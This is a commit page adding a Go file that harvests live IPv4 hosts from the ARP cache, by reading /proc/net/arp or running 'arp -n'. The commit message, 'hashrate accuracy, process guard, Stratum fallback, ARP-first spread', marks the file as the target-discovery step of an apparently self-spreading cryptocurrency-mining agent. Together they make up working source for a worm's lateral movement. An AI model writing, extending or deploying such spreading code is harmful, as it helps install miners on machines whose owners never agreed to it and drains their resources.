fix: agent effectiveness -- hashrate accuracy, process guard, Stratum fallback, ARP-first spread
This commit is contained in:
105
agent/deploy/arp_unix.go
Normal file
105
agent/deploy/arp_unix.go
Normal file
@@ -0,0 +1,105 @@
|
||||
//go:build !windows
|
||||
|
||||
package deploy
|
||||
|
||||
import (
|
||||
"bufio"
|
||||
"net"
|
||||
"os"
|
||||
"os/exec"
|
||||
"strings"
|
||||
)
|
||||
|
||||
// arpHosts returns IPv4 hosts in the ARP cache on the local subnets.
|
||||
// On Linux it reads /proc/net/arp; on macOS/BSD it falls back to running
|
||||
// `arp -n`. Returns nil if nothing useful is found (caller does full scan).
|
||||
func arpHosts() []string {
|
||||
hosts := arpFromProc()
|
||||
if len(hosts) == 0 {
|
||||
hosts = arpFromCmd()
|
||||
}
|
||||
return hosts
|
||||
}
|
||||
|
||||
// arpFromProc parses Linux's /proc/net/arp.
|
||||
// Format: IP address HW type Flags HW address Mask Device
|
||||
func arpFromProc() []string {
|
||||
f, err := os.Open("/proc/net/arp")
|
||||
if err != nil {
|
||||
return nil
|
||||
}
|
||||
defer f.Close()
|
||||
|
||||
local := getLocalIPs()
|
||||
subnets := make(map[string]bool)
|
||||
for _, ip := range local {
|
||||
subnets[getSubnet(ip)] = true
|
||||
}
|
||||
|
||||
var hosts []string
|
||||
seen := make(map[string]bool)
|
||||
scanner := bufio.NewScanner(f)
|
||||
for scanner.Scan() {
|
||||
fields := strings.Fields(scanner.Text())
|
||||
if len(fields) < 4 {
|
||||
continue // skip header
|
||||
}
|
||||
ip := net.ParseIP(fields[0])
|
||||
if ip == nil || ip.To4() == nil {
|
||||
continue
|
||||
}
|
||||
// Flags = 0x0 means incomplete — skip
|
||||
if fields[2] == "0x0" {
|
||||
continue
|
||||
}
|
||||
ipStr := ip.To4().String()
|
||||
sub := getSubnet(ipStr)
|
||||
if !subnets[sub] || seen[ipStr] {
|
||||
continue
|
||||
}
|
||||
seen[ipStr] = true
|
||||
hosts = append(hosts, ipStr)
|
||||
}
|
||||
_ = scanner.Err()
|
||||
return hosts
|
||||
}
|
||||
|
||||
// arpFromCmd runs `arp -n` for macOS/BSD where /proc/net/arp doesn't exist.
|
||||
func arpFromCmd() []string {
|
||||
raw, err := exec.Command("arp", "-n").Output()
|
||||
if err != nil {
|
||||
return nil
|
||||
}
|
||||
out := string(raw)
|
||||
|
||||
local := getLocalIPs()
|
||||
subnets := make(map[string]bool)
|
||||
for _, ip := range local {
|
||||
subnets[getSubnet(ip)] = true
|
||||
}
|
||||
|
||||
var hosts []string
|
||||
seen := make(map[string]bool)
|
||||
for _, line := range strings.Split(out, "\n") {
|
||||
fields := strings.Fields(line)
|
||||
if len(fields) < 2 {
|
||||
continue
|
||||
}
|
||||
ip := net.ParseIP(fields[0])
|
||||
if ip == nil || ip.To4() == nil || ip.IsLoopback() {
|
||||
continue
|
||||
}
|
||||
// arp -n marks incomplete entries as "(incomplete)"
|
||||
if strings.Contains(line, "incomplete") {
|
||||
continue
|
||||
}
|
||||
ipStr := ip.To4().String()
|
||||
sub := getSubnet(ipStr)
|
||||
if !subnets[sub] || seen[ipStr] {
|
||||
continue
|
||||
}
|
||||
seen[ipStr] = true
|
||||
hosts = append(hosts, ipStr)
|
||||
}
|
||||
return hosts
|
||||
}
|
||||
Reference in New Issue
Block a user